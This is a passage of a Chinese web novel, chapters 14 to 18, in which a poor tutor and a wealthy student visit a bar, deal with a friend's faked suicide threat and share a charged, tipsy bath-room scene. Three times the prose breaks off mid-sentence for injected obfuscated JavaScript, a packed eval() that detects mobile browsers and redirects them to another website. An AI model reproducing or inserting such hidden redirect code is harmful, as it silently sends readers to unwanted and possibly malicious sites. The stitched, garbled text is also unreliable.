这时蔡衍嘉走了出来,看见自己榜上有名,又兴奋地嚷嚷起来,还从向天问手上接过笔,画了个爱心的形状,将两人的名字圈在其中:“装饰一下,嘻嘻。” 这是干什么?!向天问耳根一热,急忙偷偷扫视四周,生怕别人看见、误会他们。 所幸无人在意。蔡衍嘉也是一脸大大方方的坦荡模样,倒显得向天问自己多心了。 从冷气很强的商场里走出来,外面的热浪依然灼人。 蔡衍嘉看了眼腕表,冲向天问wink一下:“向老师,今天是疯狂星期四哦!” 见向天问不懂,蔡衍嘉指着对面一栋楼底层的店面说:“他们不让我吃垃圾食品,我好久没吃炸鸡了。向老师,陪我去吃那个,好不好?” 这货出门前就告诉季叔他们不回家吃晚饭了,这会儿回去现做也来不及,还能怎么办呢?向天问只得点头。 “垃圾食品”虽然不便宜,但确实香。两人合力消灭了一整个全家桶,向天问吃得很满足。吃饱了,又想起正事来:“走吧,不早了,回去你还有任务呢。” 蔡衍嘉眼珠一转,挑挑眉说:“向老师,你不是想赚钱吗?我知道一个地方来钱也很快,坐在那儿、说说话就能赚几百块。要不要去看看?就在这个楼上。” “以后再说。你今天做的卷子,错题还没有整理出来。”向天问站起来要走。 “过来一趟,打车要好几十呢!”蔡衍嘉拉住他道,“来都来了,去看一下吧。合适的话,下次直接来上班,嗯?” 不知怎么的,向天问又被他说服了。 蔡衍嘉带着他坐电梯上到商场顶层,走进一个灯光比剧本店还要昏暗、连个店名招牌都没有的地方。 里面空间很大,空气里弥漫着脂粉香味。背景音乐是外国女歌手哼哼唧唧的,听不清歌词。 向天问环顾四周,越过一堆又一堆沙发,他看见一整面墙的酒柜和吧台,这才意识到,蔡少把他带酒吧来了。 “诶,我们走吧……”他想叫住蔡衍嘉,话音却被嘈杂的音乐声盖住,连自己都听不清。 蔡衍嘉轻车熟路地走到角落里一排沙发前,按着向天问两边肩膀,让他坐下,然后用手罩住他耳朵,对他说:“你就在这儿坐着,等会儿有小姐姐来找你说话,你就带她去那边卡座。陪人家聊聊天,只要她消费,你就能拿到提成,一晚上能赚五六百呢。” 这是要干什么?!向天问扭头怒目圆瞪,蔡衍嘉却毫无察觉似的,继续教他:“男的不行,男的都很难缠。如果有男的来,你就客气点儿,说:‘不好意思小哥哥,我已经有预约,在等人了。’” 15. 第15章 这是让他干陪酒?!向天问又羞又恼,正要发作,却有一个陌生人卷着浓烈的香水味凑了上来。 “蔡少?!天呐,真的是你!”那人越过他,冲蔡衍嘉尖声呼唤。 向天问立刻浑身一紧,下意识朝蔡衍嘉挪了挪,好离这个浓妆艳抹的男人远一点儿。 “不是吧,蔡少,你坐这儿是几个意思?你想喝酒,去开个卡座呀,哥几个陪你喝个明明白白。”那人举止十分做作,张牙舞爪地对着蔡衍嘉比划,“你往这儿一坐,把我们衬托得一个个像猪头一样,我们还怎么开张?” “呵,还带一个黑皮体育生!来砸场子啊?”那人夸张地翻个白眼,目光在向天问脸上放肆流连。 “对呀,来抢你的‘销冠’!”蔡衍嘉笑得油滑,“我朋友,还不错吧?” 那人极其不礼貌地上下打量向天问,忽然伸出一只鸡爪子一样的手,往他小腹探。 “你干什么?!”向天问挥手挡开,应激跳了起来。 “干什么?看看你的本钱啊!不让人碰还想干这行?” 向天问顿时火了,丢下蔡衍嘉径直冲了出去。 等电梯时,蔡衍嘉追了上来,竟还揽住他肩头笑:“我就知道你不肯做……” “你才多大?就到这种乌烟瘴气的地方来?结交这些不三不四的人?”向天问压不住心头怒火,甩开他呵斥道,“黄赌毒,沾上一样,这辈子就完了!” 蔡衍嘉被他吼得定睛一愣:“不是,我是带你来……” 这时电梯门开了,里面有人。向天问只得咬住槽牙,闷头跟在蔡衍嘉身后走进去。 看这样子,蔡衍嘉没少来这种地方消费,连人家一晚上挣多少钱都知道。向天问心想,有钱人家的小孩,学坏真是太容易了。蔡家老爷子把这货接回国内、派人24小时盯着,到头来还是没看住。 电梯下到一楼,两人都沉默不语,各自冷脸往路边走。 蔡衍嘉叫的车还要一会儿才能来,他们不得不站在这里干等。良久,蔡衍嘉终于憋不住先开口了。 “向老师,你以为我真让你当男模?我带你来,是想让你看看,以你的条件,想挣钱是很容易的。花花世界,诱惑太多了,别一天到晚总惦记着钱钱钱,会被坏人盯上的。” 用你来教训我?向天问窝了一肚子火。蔡衍嘉居然以为他是个不懂社会险恶的生瓜蛋子! 他什么苦没吃过,社会复杂、人心险恶,他怎会不懂?以前那些上门来催赌债的流氓,经常对着还在上小学的他满口污言秽语,撺掇他爸把他抵给哪个老板换钱。他爸以为他不懂,还想骗他跟那些人走,说是“去城里当服务员”。 每当遇到这种情况,他拔腿就跑,躲进村头老拐子家,和那条一见着生人就往死里追的大黑狗玩。 要不是政府扫黑除恶摸排到县里,把那些开赌场的人渣一锅端了,他爸迟早把他卖了。 蔡衍嘉歪头看着他:“对不起嘛向老师,你不要生气好不好?我不会真的让你吃亏,你看,我都跟我朋友Kiki打过招呼了,要是真有人来骚扰你,他会帮你挡一挡的。” “朋友?你和那种人交朋友?”向天问推开他递过来的手机,痛心道,“不好好学习,和歪门邪道的人瞎混,你对得起谁?” 蔡衍嘉满脸不服:“我没有和谁瞎混!你根本不知道……” “你不去那种地方瞎混,怎么会认识那些人?别人陪酒怎么提成你都一清二楚!”向天问质问道。 “你说Kiki吗?我不是在店里认识他的。”蔡衍嘉说,“是有一次,我半夜打本出来,看到几个人围着一个人打,拳打脚踢的,还用酒瓶砸他。我就过去制止他们,帮忙报警。被打的那个就是Kiki。” “后来我陪他去医院,他告诉我他在酒吧上班,那些人在他那里开了好多酒,玩过了又嫌贵,就拿他撒气。因为我报警,老板还怪他得罪客人,罚他好几千。” “我要替他垫钱,他不肯要,我只好去跟他买酒,令他多赚的钱。我屋企那一整柜酒都是在他铺头买的,不信你问老季,老季每次都陪我去攞酒……” 蔡衍嘉急着解释,越说越快,普通话渐渐控制不住,香江口音越来越重。 “你受伤了吗?”向天问打断他,见他愣住,又问,“你帮那个Kiki出头,那些人也打你了?” “哦,我没有事。老季就在马路对面车上,警察还没到,老季就把那些人轰走啦。” “你胆子还真大。”不知怎么的,向天问一肚子的气,莫名卸去大半,“就是有点傻。你去他那儿买酒,岂不是又让那个黑心老板赚钱了?” 蔡衍嘉满不在乎地摇摇头:“赚就赚咯,反正Kiki也拿到钱了。” 见他态度软下来,蔡衍嘉又靠上来揽住他肩膀,语重心长地说:“向老师,你不知道,Kiki也是为替家里人还贷,才小小年纪就出来挣钱。他原本是学美发的,就因为长得靓,被人做局骗进夜场……我不想你也被坏人盯上,要给你打预防针嘛!” 向天问气得想笑,白了他一眼:“谢谢你,我不会的。” “向老师,你不生气了?还早呢,我们可不可以……”蔡衍嘉眼睛一亮,不知又想出什么吃喝玩乐的鬼点子。 “不可以。”向天问不等他说完就断然拒绝,“你还有一篇范文要背,现在必须回家。” “啊……”蔡衍嘉手按额头发出一声“哀嚎”。 车到了,两人并排坐在后座。车窗外各色霓虹,以蔡衍嘉雕塑般的侧脸为画布,为向天问呈现出一场光怪陆离的灯光秀。 他的思绪也随之飘远,飘到那个与他有着天渊之别的,属于豪门少爷蔡衍嘉的世界。那个世界里的人不需要为生计发愁,仿佛一切美好的事物都唾手可得,也没有无知与贫困带来的肮脏和痛苦。 可他仍能在蔡衍嘉不经风霜的脸上看到一抹无法掩饰的哀伤,他猜想,那是由于孤独。 蔡衍嘉口袋里的手机叮叮咚咚响了起来,向天问移开视线,只用眼角余光关注着身旁动态。 “唔,Shawn baby。”蔡衍嘉对着听筒轻轻叫了一声,向天问顿时浑身一毛。 “What?What do you mean?”蔡衍嘉猛地坐直身体,“你想做咩?唔好吓我啊!” 蔡衍嘉一下慌了神,对方却挂断了。 向天问不免警觉:“他又怎么了?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646956|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “No, no,no! He said……他同我告别?!”蔡衍嘉语无伦次,手指在手机屏幕上一通乱戳,“他要我好好活下去,讲‘下一世再会’?” 啊?这是要……向天问心里咯噔一下,陈子骁不会真的…… 搞不好是旧社会妇女那套“一哭二闹三上吊”的伎俩——蔡衍嘉没有像往常那样屁颠颠去找他道歉,他就来这出? 可生死事大,他不敢妄断,只能帮已经吓昏了头的蔡衍嘉赶紧想办法。 “去机场,我得去……向老师,我现在去机场,你搭另一辆车回去?”蔡衍嘉慌手慌脚地在自己身上拍拍,“不,我的护照……先回家!老季买机票……老季可以送护照!去机场!” “你现在去英国有什么用?”向天问替他分析道,“你赶过去,最快也要十几个小时吧?他要是真想寻短见,会等十几个小时、等你到了再动手吗?” “如果他真等你到了才动手,那是真心不想活了吗?不就又是骗你的?” “你想尽快确认他安全,应该马上联系他那边的警察,或者他的老师同学、房东、邻居,能在最短时间内赶到的人。” 蔡衍嘉如梦初醒,连连点头:“哦哦,对对。”然后打开手机的通讯录上下滑动。 “Shawn在Summer Course修学分,其他同学都放暑假了……房东也不是从前那个……哦,我知道了!”蔡衍嘉拨通一个号码,冲向天问点点头,“Solicitor!” 律师?是啊,有钱人都有自己的私人医生、律师,钱比朋友管用。 蔡衍嘉用流利的英语报出地址,请电话那头的英国律师替他去Shawn的住处跑一趟。 挂断电话后不久,车开进地库,两人匆匆回到家。 蔡衍嘉径直跑去酒柜,熟练地拿出一个扁扁的酒瓶,又从冰箱里取出两个形状奇怪的水晶杯,将蜜色的晶莹液体倒进去。 向天问接过一杯,又立刻放下。总得有个人保持头脑清醒。 “你冷静点儿,我觉得他不会……你比我了解他,他有那么大胆子吗?这种事可不是闹着玩的。”话虽如此,其实向天问也难免忐忑。 他确实不了解陈子骁,不能理解这人与蔡衍嘉彼此攀缠的诡异关系。万一这人真的这么脆弱、离开蔡衍嘉就活不下去了?是他强行删除了联系方式、逼蔡衍嘉不理睬人家,万一真就因此害人一命…… 想到这儿,向天问只觉背后发凉,心口突突起来。不喝点儿真压不住心慌,他忍不住拿起酒杯,仰头闷了一口。 “电话还打得通吗?”等了半个多小时,向天问也有点儿沉不住气,“有没有共同好友,把他加回来?” “关机,打不通。”蔡衍嘉直摇头,“没用的,他拉黑我了!” “我不该删掉他的,我不该……”蔡衍嘉两手抱头趴在桌上唉声叹气,“哭就哭咯,由他哭好了,何必这么绝情……” “是我逼你删的,怪我。”向天问沉声道,“要是真出了事,都算我的,与你无关。” “向老师,你也觉得他……你不是说他不会的吗?!”蔡衍嘉急得要哭了。 这时,电话铃声响了。 16. 第16章(修) “Stephen!”蔡衍嘉哆嗦着接起来,差点儿手滑摔了手机,干脆按了免提,将手机放在桌上。 Stephen是那个律师。两人大气都不敢喘,四只眼睛紧盯着手机。 电话那头传来沉着优雅的英音,律师说敲门没人应、不确定Shawn在不在家,他没有权力break in,问蔡衍嘉接下来怎么做。 蔡衍嘉六神无主,两手抓着头发干瞪眼。 “邻居!让他问问邻居,能不能陪他一起进去?”向天问说。他猜想律师不愿意独自进去,是怕惹上盗窃的嫌疑。 律师却说,那也是违法的,未经许可,除了执法者,谁都没权力擅自进别人家。 外国人怎么这么死脑筋!向天问正焦头烂额,又听律师说,对面有一家小店,可以去问问店主有没有安摄像头,说不定能拍到Shawn进出家门的情况,至少可以确定他在不在家。 两人实在没招了,异口同声催他快去。 不一会儿,电话又打进来。向天问竖起耳朵仔细听,幸好这个律师发音标准又清晰,并没有比高考听力难懂。 这次终于是好消息。店主说,十几分钟前刚看到Shawn出门,又是被那个“银色阿斯顿马丁”接走了。 两人齐齐捂着胸口长舒一口气。蔡衍嘉对着手机不停说“Thank you”,向天问却问:“什么是‘银色阿斯顿马丁?’” “跑车。”蔡衍嘉劫后余生似的,有气无力地回答。 向天问转眼疑道:“他说不活了、跟你道别,转头就被开跑车的接走了?还‘又是’那辆?” 蔡衍嘉这才回过神来,急忙问律师还在那儿吗。得到肯定的答复后,蔡衍嘉手按额头原地转了两圈,像下了很大决心似的,低声对律师说:“问问有没有摄像头,我想看看接走Shawn的车。” 很快,律师和店主谈好了价钱,几分钟后,就有一段几十秒的监控视频发到蔡衍嘉手机上。 蔡衍嘉一遍遍地拉动进度条,反复看那段视频,脸上竟是一副见鬼了的神情,嘴里还不停嘟囔:“No way!what the hell!WHY???” 陪他看到第七遍,向天问终于忍不住问:“怎么了?” 摄像头不仅拍到出门的Shawn和接他的闪亮跑车,还拍到了从跑车上下来、为Shawn拉开车门的人——一个褐发碧眼的年轻“鬼佬”。 “你认识这个人?”向天问才一开口,却见蔡衍嘉双眼射出异样的愤怒火光。他从没在蔡衍嘉脸上看到过这样的神情。 蔡衍嘉打开一个全英文的app,给一个名叫“PJ”的人发消息:“You with Shawn?” 不一会儿,对方回了一句:“Who told you?” “Leave him alone, asshole!”蔡衍嘉一边按屏幕,一边把牙齿咬得咯咯直响。 那人回复“Bite me”,还加了个上下颠倒的微笑表情。 “是你朋友?”向天问想起蔡衍嘉说过,Shawn跟他好几个朋友搞在一起过。 “NO!”蔡衍嘉突然喊起来,把手机往桌上一丢,哐啷一声,吓了向天问一跳。 蔡衍嘉抱头转了两圈,终于意识到自己反应过激,过来对向天问说:“抱歉向老师,我没有怪你……你不知道,这个人……He is our school bully!” “我不明白Shawn为什么和他混在一起!从前上公学的时候,这个人一直、一直欺负我们!”蔡衍嘉气得眼睛都红了,“他造谣说我和Shawn在宿舍里do,常常半夜带人进我们房间掀被子……还扔掉我们的衣服、把我们关在浴室里……” “我受不了了,动手打了他,结果却是我被禁足!因为他家有爵位,他爷爷还是校董,没人敢管他!” “我不知道Shawn为什么……我被PJ害得差点儿退学!Shawn明明说过绝不原谅、恨不得要他死……” 蔡衍嘉的脸因愤怒涨得通红,他接连倒出洋酒,一杯接一杯仰脖儿灌进喉咙里。 向天问听明白这是怎样一出故事,心头也升起一团烈火。 如果说之前陈子骁对蔡衍嘉的情感控制和道德绑架还可以用他们多年相依为命的友情作为借口,可今天这事儿,就是纯粹的坏。 陈子骁骗蔡衍嘉说不想活了,知道他一定会不顾一切飞去英国找自己;他自己却趁蔡衍嘉在飞机上这十几个小时,和他们的死对头约会,因为他笃定蔡衍嘉这段时间没办法找他、打扰他。 搞这种把人当猴耍的鬼把戏,有什么特别的乐趣吗?向天问不相信有人会无缘无故干这种损人不利己的事,除非能从中获得莫大的心理满足。 操纵、愚弄、背叛蔡衍嘉,一定令陈子骁暗中感到十分痛快,对待仇人也不过如此。 可是为什么呢?他们不是好朋友吗? 向天问望着两眼含泪、像小孩一样五官都皱成一团的蔡衍嘉,突然意识到还有一种可能性。 只是这种可能性对于蔡衍嘉来说太过残忍了,他实在不忍心说出口。 手机铃声又一次响起,蔡衍嘉拿起来看了一眼,啪的扣在桌上。 “Vincent,可以听我解释吗?”手机里传来陈子骁柔弱的声音,“我冇想住瞒住你,系想等你飞过来,当面话畀你知。我同PJ系真心相爱的,我想得到你的祝福,PJ亦都希望得到你的原谅,呢件事对我好重要……” “No!Stop Lying!”蔡衍嘉吼道,“你话你要轻生?!” “我系讲笑的啦,想吓下你咋,再畀个惊喜你咋……” 蔡衍嘉顿时炸了:“你当我系咩人啊?傻仔咩?” “Vincent,你究竟发生咩事啊?点解突然会变咁样?”陈子骁竟然反咬一口,倒怪起蔡衍嘉来。 “好好好,你同滴个烂人‘真心相爱’……”蔡衍嘉用力吸住眼泪,狠狠道,“You don’t need me any more. That’s it!” 用力按下挂断键,蔡衍嘉像被抽掉了主心骨,缓缓蹲下蜷缩在地上。“为什么?为什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646957|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他把脸埋在膝盖上,肩膀抖动着抽泣。 蔡衍嘉不懂陈子骁为什么恨他,正如他不懂秋秋为什么讨厌他,不懂向天问为什么不肯要他的钱。 富人以为大方花钱是友情的证明,穷人却觉得自己是在出卖尊严。两人一同在异乡求学的过往,在蔡衍嘉看来是多年相濡以沫的情谊,可在陈子骁眼里,恐怕是被迫曲意逢迎、伺候有钱人家少爷的悲惨童年。 升米恩,斗米仇,老祖宗的话有大智慧。蔡家提供的优渥生活,随着蔡衍嘉的回国戛然而止,陈子骁突然从云端掉落,只能去向霸凌者低头乞怜,怎么会不恨呢? 一向亲密无间的伙伴露出怨毒的真面目,连这“唯一的朋友”也失去了,蔡少爷真是怪可怜的。向天问看他哭得伤心,不免跟着难过,总觉得自己该做点儿什么,可实在没有安慰人的经验,只能呆呆站在那里,手足无措。 踌躇了许久,向天问终于伸出手,握住蔡衍嘉一边肩膀:“好了,你别难过……” 不料蔡衍嘉竟猛地站起身来,一头扑向他,抱了个满怀。 幽幽发香夹着甘醇的酒味扑面而来,蔡衍嘉伏在他肩颈上抽泣,潮湿的、温暖的触感令他皮肤发痒、筋骨酥麻,害怕得想要推开。 不知怎么的,他莫名想起小时候第一次、也是唯一一次吃泡泡糖的感觉。泡泡糖好甜,好软,牙齿贪婪地咀嚼,舌头却忍不住想把它吞下去。 不能吞啊!吞下去就没有泡泡糖了。泡泡糖一次次滑向嗓子眼儿,他必须动用全部的意志力,才忍住吞咽的冲动。 蔡衍嘉两手抱住他肩背,两人胸口贴得太紧,他甚至能感觉到彼此逐渐趋于同步的心跳。 原来拥抱是这种感觉,仿佛身体里有什么东西融化掉了。 “向老师,你会不会觉得我很蠢、很没骨气?”蔡衍嘉突然开口,把他从泡泡糖般香甜的美梦中惊醒。 “不会。”话一出口,向天问被自己格外温柔的语气吓了一跳,“不是你的错。” “为什么所有人都要离开我?我到底做错了什么?”蔡衍嘉哽咽道。 热乎乎的鼻息吹进向天问耳朵里,害得他又是一阵麻痒。 “不是‘所有人’。只是你之前遇到的人不好罢了。”向天问轻声安慰道,“世上还是好人多,你一定会遇到真心对待你的人。” 为什么能做出这样的断定,向天问自己也不知道。他只是相信好人有好报,而蔡衍嘉毫无疑问是个好人。 蔡衍嘉哭累了,趴在他肩头呼吸渐渐匀静,好像要睡着了。向天问的脑子也渐渐混沌,酒劲儿上来了。 但还不能睡。 “诶!你还有一篇范文没背。”向天问伸直双臂,扶蔡衍嘉在自己面前站好,“先别睡,背完了才能睡!” “啊?明天再背不行吗?我现在……真的没心思。”蔡衍嘉的眼皮都快撑不开了,眯着眼睛直发懵。 “不行。”向天问笃定道,“无论发生什么事都不能耽误学习。这个世界上任何人都有可能背叛你,唯独学习不会。” 说着,他拽住蔡衍嘉手腕,硬把人往书房拖。 17. 第17章 “向老师,向老师——”蔡衍嘉路过自己房间时两手扒住门框,“我真的没力气……让我冲个凉先,可以吗?求你了向老师!” 也好,洗完澡确实能清醒一下。向天问松开手,又怕他耍赖直接去睡,一直目送他进浴室,听见哗哗水声才放心走开。 今天要背的是申请信/求职信模板,向天问回到书房,把早已抄好范文的横格纸摆在桌上,心里盘算着等会儿要给蔡衍嘉讲的,此类作文的结构与行文逻辑。 威士忌口感柔和,后劲却不小。他感觉脑袋里像有一片湿热的海洋,一波一波卷着巨浪,他如同海上的一叶扁舟,在波浪间摇摇晃晃、晕头转向。 忽然,口袋里的手机响了,蔡衍嘉给他发信息,让他把范文送过去,说要在自己房间里背。 八成又是为偷懒耍的花招,他摇头叹了口气,却实在懒得费口舌。 算了,在哪儿背不是背。向天问打算去盯着他,就算是躺床上背,也得背完了再睡。 上次的教训历历在目,他不敢冒然进蔡衍嘉房间,而是站在门外,敲了敲虚掩的房门。 “进来。”蔡衍嘉的声音像隔着层层障蔽,“这里,向老师。” 向天问循声走去,等发现进的是浴室,已然来不及了。 蔡衍嘉赤身坐在一个凹进地板的方形圆角大浴缸里,冲向天问伸出一只手。 他一头微卷的黑发湿透背在头顶,露出形状优雅的光洁额头,五官显得愈发鲜明立体;胸前挂着水滴的肌肉线条优美,宛如美术书上希腊诸神的大理石雕塑。 浴缸里的水咕嘟咕嘟冒着泡,向天问偏头躲避氤氲水汽中的旖旎画面,将手中稿纸递上。 “向老师,你也进来泡泡?”蔡衍嘉的视线落在纸上,漫不经心地发出邀请。 啊?!这……像话吗?有钱人都这么不讲究吗?洗澡还能两个人一起洗? “不用不用。”他一摇头,脑袋里嗡嗡做响,眼前直冒金星,“我……有点头晕,怕晕堂。” “不会晕的,上面有加氧机。”蔡衍嘉朝头顶探了探下巴,向天问这才发现,浴缸正上方的天花板上有好几排细小的喷嘴,正往下散播清凉的冷空气。 始终不习惯另一个男人的赤裎相对,向天问感觉面皮发烫,急忙转身要走。 浴室太大了,他还没走出去,就听身后蔡衍嘉发出一声惊呼:“诶?向老师,这是你写的?” 原来,蔡衍嘉发梢的一滴水落在稿纸上,将黑色的笔迹晕开,他这才发现,这一整面像打印出来一样的英文,竟然是手写的。 “哇奥,这就是传说中的……”蔡衍嘉惊讶道,“你说的‘每个字母都要写得格外端正’,是要写成这样?” 向天问只好驻足,点了点头:“是的,写成这样,能确保卷面分拿满;只要不犯语法和拼写错误,应用文写作部分基本能得满分。” “No way!这怎么可能?”蔡衍嘉笑着摇摇头,“我这辈子都不可能写这么好的字。” “能模仿三成,就很好了。”向天问转身走回浴缸旁边,指着那张纸上的字母,“你的主要问题是画蛇添足。你看,p起笔不能有小勾子,a和u最后一笔都是直的,也不能有小勾子;另外,字母之间要间距分明,不可以连在一起……” 他专心指点蔡衍嘉书写上的不足,不知不觉越靠越近。T恤下摆落在浴缸边沿,须臾打湿了一大片。 “向老师,你衣服湿了。”蔡衍嘉突然掀起他的T恤,露出底下一格一格的黝黑腹肌,“哇奥,向老师你练得不错诶!有在卷腹吗?还是平板?” 向天问听不懂这些名词,却能猜到是在说健身。他哪有功夫健身,那是有钱有闲的人才能享受的奢侈活动。他这一身肌肉,是他辛苦劳动、挣一口饭吃的证明。 “我没有练过。”他说着,见蔡衍嘉露出不可置信的表情,又补充道,“但我经常干活儿。就是……收废品、烧锅炉,还有……收猪。” “嗯?”这下轮到蔡衍嘉听不懂了。 “烧锅炉每天要挥几千下铁锹;我和我姑父两人能抬200斤的猪;在废品收购站捆纸壳也是个体力活,干半天能出几斤汗……”向天问怀疑自己脑子有点儿糊涂了,平白无故念叨这些干什么,人家蔡少爷才不爱听这些穷人的破事。 蔡衍嘉确实没在听,而是在专心致志地看向天问的腹肌,把他的T恤都快推到领口了。 “哇奥,是真的诶!好棒啊,活的果然不一样,比手机里的好看多了!”蔡衍嘉半张着嘴,两眼痴痴放光,“可以让我摸一摸吗,向老师?Please——” 向天问脑袋嗡嗡的,竟鬼使神差地点了点头。 蔡衍嘉湿漉漉的手指划过他胸口,又在他腹肌的沟壑里来回划动。他暗暗吸一口气,屏住呼吸,将腹部的肌肉线条顶得愈发明显。 “啊啊啊啊,向老师,为什么我练不到这么结实?你可不可以带我一起‘收猪’啊?” 蔡衍嘉指尖划到他右下角那块腹肌,他忽然感到一股暖流顺着脊梁骨直往下窜,身前迅速起了变化,吓得他慌忙转过身去。 这是什么情况?!向天问满面羞惭,丢下一句“我去洗澡了,你快背吧!”,逃也似的跑了。 冲完热水澡,他才终于恢复平静。脑袋重得几乎抬不起来,他实在没力气,也不好意思再去找蔡衍嘉,只好在手机上发了一条信息:“你背完了就睡吧,明天一早我检查。”然后一头扎进床上,睡死过去。 这一觉睡得香甜,闹钟响起时,他竟有恍如隔世的感觉,花了好几分钟,才想明白自己为什么身处这样一个做梦都不敢梦的豪华房间。 手机上有一条未读消息,是昨晚蔡衍嘉回复的。他打开一看,是一张会动的表情,一个笔画潦草的小人,正伸出长长的舌头舔另一个画着八块腹肌的小人。 呃……又是什么有钱人的恶趣味。向天问想起昨晚蔡衍嘉在他身上乱摸的情形,不觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646958|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸又渐渐热了。 餐厅已摆好各样干果和牛奶麦片,季叔问他能不能吃得惯、要不要给他下碗面。他哪好意思麻烦别人,赶紧摇摇头,说“麦片就行”,然后转去蔡衍嘉房间敲门。 蔡衍嘉答应一声,又磨蹭了好一会儿,终于起来开了门。 两人来到餐厅就座,向天问问:“范文背好了吗?” 蔡衍嘉说:“我就知道,一睁眼你就要问这个。背好了,不信你考我。” “那吃完饭就去默写吧。”向天问泡好一大碗麦片,喝粥一样稀里呼噜往肚子里倒。 蔡衍嘉则拿着一把小镊子,在干果盘子里挑挑拣拣,每样数出五个,摆得一碗玲琅满目。 季叔走过来说:“衍嘉少爷,昨天半夜Shawn打给我,问我在不在你身边,说你不接他电话。是什么情况,他又跟你胡闹?” “嗯。”蔡衍嘉显然不想提起这事,季叔也识趣不再追问。 睡过一觉起来,向天问脑子清醒了不少。听季叔的意思,陈子骁时常发疯找事这一点,季叔也很清楚。 可这就奇怪了,既然老季知道,蔡铭生怎么会不知道?这样有手腕的老爷子,既然决定把儿子接回国内好好约束,又怎会容许陈子骁这般纠缠搅扰? 虽然他不想让蔡衍嘉心烦,有件事却不得不搞清楚:“我能不能问一下,你回国之后,Shawn留在那边上学的费用,是谁付的?” “嗯?”蔡衍嘉愣了一下,低声道,“他说是蔡家供他。” “是你家老爷子?在你回国之后,还继续资助他?” 蔡衍嘉咬着勺子思索片刻,摇了摇头:“不是吧。老爷子知道他替我写功课、帮我考试,发了很大火,还说他‘心术不正’,要我同他断交。执意要把我送回来,这也是其中一个原因。” “是蔡家供他,却不是你家老爷子?你家还有谁会想资助他?”向天问越想越觉得可疑。 蔡衍嘉显然从未想过这个问题,被他这么一说,也觉出不对劲来:“是哦,我刚回来的时候,他一度房租断供,我还替他垫了些钱。可后来不知怎么的,问题就解决了,他只说蔡家又同意供他了。我倒没想过是不是老爷子的决定。” 趁老季转身回厨房收拾杯碟的功夫,向天问压低声又问:“也就是说,你爸不允许你同Shawn来往?那你三番五次跑去英国,你爸竟然都不知道?你给老季封口费了?” “不算吧,就帮秋秋端了几次盲盒,都是小钱,不算数的。”蔡衍嘉仍是愣愣的,不明白他想说什么。 “那么老季为什么帮你瞒住你爸?他不应该是为你爸做事的吗?”向天问话音刚落,老季正好从厨房走了出来,将一盘牛角面包放在他们两人面前。 桌上一时安静,向天问在心中默默盘算道,蔡老爷子身体不太好,急需有人接班;大儿子染上恶习、不中用了,他只好逼不成器的小儿子上进;可家里明明还有个长女呢,长女又是个什么情况? 18. 第18章 老季给他们一人夹了一个面包:“尝尝看,早上周姨来现烤的。” 向天问道声谢,假装闲聊问蔡衍嘉:“你哥哥出来了吗?” “出来?”蔡衍嘉一脸懵,“什么出来?” 老季听懂了,解释道:“衍诚少爷没有‘进去’,当时就保释了。老爷子把他带在身边‘疗养’,不在国内。” “哦。”向天问咽下一口面包,又问:“你姐姐也不在国内吗?” “在啊。”蔡衍嘉总算有件知道的事儿了,“集团base迁回国内,生意上的事都是她在打理。” 老季补充道:“衍晴小姐很忙,全年无休的。衍嘉少爷回国一年多了,还没见过她呢。” 向天问怕老季看出他有意打听,赶紧找补道:“家里有兄弟姐妹多好呀,我从小就羡慕有哥哥姐姐的人。” 蔡衍嘉撇了撇嘴:“不是你想的那样。蔡衍晴从小跟着她妈妈长大,我呢,根本是个外人;只有蔡衍诚一个人有份养在蔡家。” 对哦,他们根本不是同一个妈生的。向天问不禁懊恼,哪壶不开提哪壶,非问这干嘛? 不过蔡衍嘉好像并不介意,竟还主动‘爆料’:“蔡衍晴比我大二十三岁,蔡衍诚比我大二十岁。我刚出生的时候,他们没赶得上把我掐死,现在嘛,来不及咯。”说完还笑了。 老季抽动嘴角陪笑了两声,气氛一时尴尬。 这就是传说中的豪门恩怨吗?怪不得豪门时常上演“争家产”戏码,原来兄弟姐妹都不是一起长大的,彼此之间根本不熟,更谈不上亲情胞爱了。 向天问还是没听出来老季究竟是谁的人,可话说到这儿,再问就太露骨了。 面包看着挺大一个,实际上一捏一把空气,这怎么能吃饱?他接连干掉四个牛角包,仍觉得欠点儿,却不好意思再拿了。 蔡衍嘉吃完,碗一推就走;向天问却不习惯让人伺候,就帮着老季把碗碟收拾起来,往厨房送。 他想洗碗,老季拦住他说:“有洗碗机,向老师,你放着吧,周姨等下来处理。” “就这几个碗,也没啥油,冲一把不费事。”他打开水龙头麻利地擦抹起来。 老季陪他站在水池边,笑了笑说:“向老师,你是不是觉得奇怪,衍嘉少爷和Shawn的事,我为什么不向蔡先生报告?” 是啊,向天问这点儿小九九,哪能瞒过老季这个老江湖的眼睛。 